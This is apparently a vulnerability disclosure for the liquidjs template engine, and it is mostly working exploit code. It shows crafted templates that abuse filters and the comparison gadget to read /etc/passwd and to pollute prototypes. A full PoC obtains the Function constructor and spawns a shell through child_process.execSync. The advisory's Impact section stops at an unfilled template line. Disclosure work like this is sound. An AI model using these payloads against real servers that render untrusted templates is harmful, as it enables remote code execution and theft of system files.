### Summary It is possible to execute arbitrary code with crafted templates ### Details

`1|valueOf` -> `this` when evaluating the filter

function calls with a controlled first argument via comprable

```js import { Liquid } from "liquidjs"; const engine = new Liquid(); const storeFn = (dst, src) => { const parts = src.split("."); const path = parts.slice(0, -1).join("."); const prop = parts.at(-1); return ` {% assign _g = ${path}|group_by:"0"%} {% assign _gs = _g | where:n,"${prop}"|first%} {% assign ${dst} = _gs.items | first | last %}`; }; const tpl = ` {% liquid assign r = 1|valueOf assign m = r.context.scopes|first assign fs = r.liquid.options.fs assign n = "name"%} ${storeFn("equals", "fs.readFileSync")} ${storeFn("gt", "fs.readFileSync")} ${storeFn("geq", "fs.readFileSync")} ${storeFn("lt", "fs.readFileSync")} ${storeFn("leq", "fs.readFileSync")} {{m == "/etc/passwd"}} `; const v = await engine.parseAndRender(tpl, {}); console.log(v.trim()); ```

changing the prototype of things

```js import { Liquid } from "liquidjs"; const engine = new Liquid(); engine.registerFilter("log", (val) => console.dir(val, { depth: 1 })); const tpl = ` {% liquid assign r = 1|valueOf assign m = r.context.scopes|first %} {{m|log}} {% assign __proto__ = r.liquid.parser %} {{m|log}} `; const v = await engine.parseAndRender(tpl, {}); console.log(v.trim()); ```

When calling functions via the comparable gadget, `this` will be the scope. By overwriting `this.loader.lookup` and `this.readFile`, to fully control what goes into `this.parse`, and while controlling `this`, a reference to the `Function` constructor can be obtained, which then allows executing arbitrary code. ```ts private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator { const filepath = yield this.loader.lookup(file, type, sync, currentFile) return this.parse(yield this.readFile(!!sync, filepath), filepath) } ``` ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ ```js import { Liquid } from "liquidjs"; const engine = new Liquid(); const storeFn = (dst, src) => { const parts = src.split("."); const path = parts.slice(0, -1).join("."); const prop = parts.at(-1); return ` {% assign _g = ${path}|group_by:"0"%} {% assign _gs = _g | where:n,"${prop}"|first%} {% assign ${dst} = _gs.items | first | last %}`; }; const tpl = ` {% liquid assign r = 1|valueOf assign m = r.context.scopes|first assign l = r.liquid assign p = l.parser assign f = l.filters assign n = "name"%} ${storeFn("equals", "p.parseFile")} ${storeFn("gt", "p.parseFile")} ${storeFn("geq", "p.parseFile")} ${storeFn("lt", "p.parseFile")} ${storeFn("leq", "p.parseFile")} ${storeFn("readFile", "f.default")} ${storeFn("lookup", "f.raw.handler")} {% assign loader = m %} {% assign context = m %} {% assign opts = m %} {% assign liquid = m %} {% assign options = m %} {% assign __proto__ = p %} {% assign tagDelimiterLeft = n %} {% assign tagDelimiterRight = n %} {% assign outputDelimiterLeft = '[' %} {% assign outputDelimiterRight = ']'%} {# set to some some function, so that filters['constructor'] -> Function #} ${storeFn("filters", "f.raw.handler")} {# store Function #} {% assign output = m == "[0|constructor]" | first %} {% assign val = output.value.filters|first %} {# set scope.equals to Function #} ${storeFn("equals", "val.handler")} {% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %} {{RCE}} `; const v = await engine.parseAndRender(tpl, {}); console.log(v.trim()); ``` ### Impact _What kind of vulnerability is it?
